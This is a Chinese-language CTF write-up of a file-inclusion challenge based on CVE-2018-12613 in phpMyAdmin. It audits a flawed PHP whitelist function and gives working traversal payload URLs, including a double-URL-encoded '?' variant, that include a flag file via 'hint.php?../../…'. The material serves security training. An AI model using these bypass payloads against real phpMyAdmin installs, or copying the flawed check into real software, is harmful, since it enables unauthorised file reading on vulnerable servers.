环境
win10+php5.6+phpstorm
攻防世界高级区
预备知识
这题是根据CVE-2018-12613 phpMyAdmin文件包含漏洞
改编而来。
所以需要有文件包含漏洞的基础知识,php代码基础
部分函数请参考php手册
这里要强调一个问题:
include 'xxx/../123.php'
# PHP中默认和 include './xxx/../123.php' 等效
这段代码的执行效果是什么呢?
Answer
包含了当前目录的123.php文件。
分析:
首先这是一个相对路径,相对于当前目录而言
在解析这段路径的时候,首先先检查每一个目录名是否正确,此外,由于/
的存在,会将xxx当作一个目录,即使这个目录并不存在,而../
表示返回上一层目录,所以就是,进入当前目录下的xxx目录再返回上一个目录,结果依然在当前目录,最后在当前目录下寻找123.php
。
再来看一下这段代码
# 寻找123.php..这个目录下的123.php
# 在win下这样写直接报错,因为123.php..会被win10系统强制改为123.php
# 那么php在找123.php..这个目录的时候,就找不到了
include '123.php../123.php'
# 寻找上一层目录下的123.php
# 这行代码不会报错,即使123.php..这个目录不存在。
include '123.php../../../123.php' 相当于 include './132.php../../../123.php'
# 123.php..当作一个目录存在
# 两个../向上返回两层目录,对于当前目录而言,相当于返回上一层目录,最后寻找123.php,
题目分析
打开题目链接,看到一张笑脸,右键查看源码
看到提示。打开source.php
看到php源码,进行代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
通过whitelist
结合checkFile
函数中的第二个if语句,我们可以用file参数
来包含hint.php
出现flag在 ffffllllaaaagggg文件中的提示信息,结合下方的include
想办法用文件包含
。
这时候需要绕过checkFile
函数
利用$_page
和第三个if语句
进行绕过,payload:
http://220.249.52.133:36629/source.php?file=hint.php?../../ffffllllaaaagggg
# 分析
# $page = hint.php?../../ffffllllaaaagggg
# mb_substr()将截取 $page, 截取内容为 hint.php
# $_page = hint.php
# $_page 出现在 whitelist 中, 然后 return true;
# 执行 include $_REQUEST['file'] 也就是 include 'hint.php?../../ffffllllaaaagggg'
在当前目录没有发现ffffllllaaaagggg,经过尝试,多加了三个../
,发现flag文件的位置
http://220.249.52.133:36629/source.php?file=hint.php?/../../../../ffffllllaaaagggg
# 上面一个payload和下面是等效的
http://220.249.52.133:36629/source.php?file=hint.php?../../../../../ffffllllaaaagggg
当然利用第四个if也是可以的,这里需要对?
二次url编码,payload为:
http://220.249.52.133:36629/source.php?file=hint.php%253f/../../../../ffffllllaaaagggg
总结与思考
看到有的文章说,第三个if语句不好利用,说是在url中?相当与传参作用,导致利用不成功。经过我的实践,发现这种说法并不正确。
?
在这里是file参数中的一部分。可以正常打印出来。
在windows系统里以下符号不可以用来作为目录名
所以是windows的服务器,就会利用失败,如下图:
而linux服务器是可以创建带有?
的文夹的。
所以这题的环境将决定第3个if语句是否可以利用成功,本题的环境是Linux
所以本题可以利用?
来做。
本文到此结束!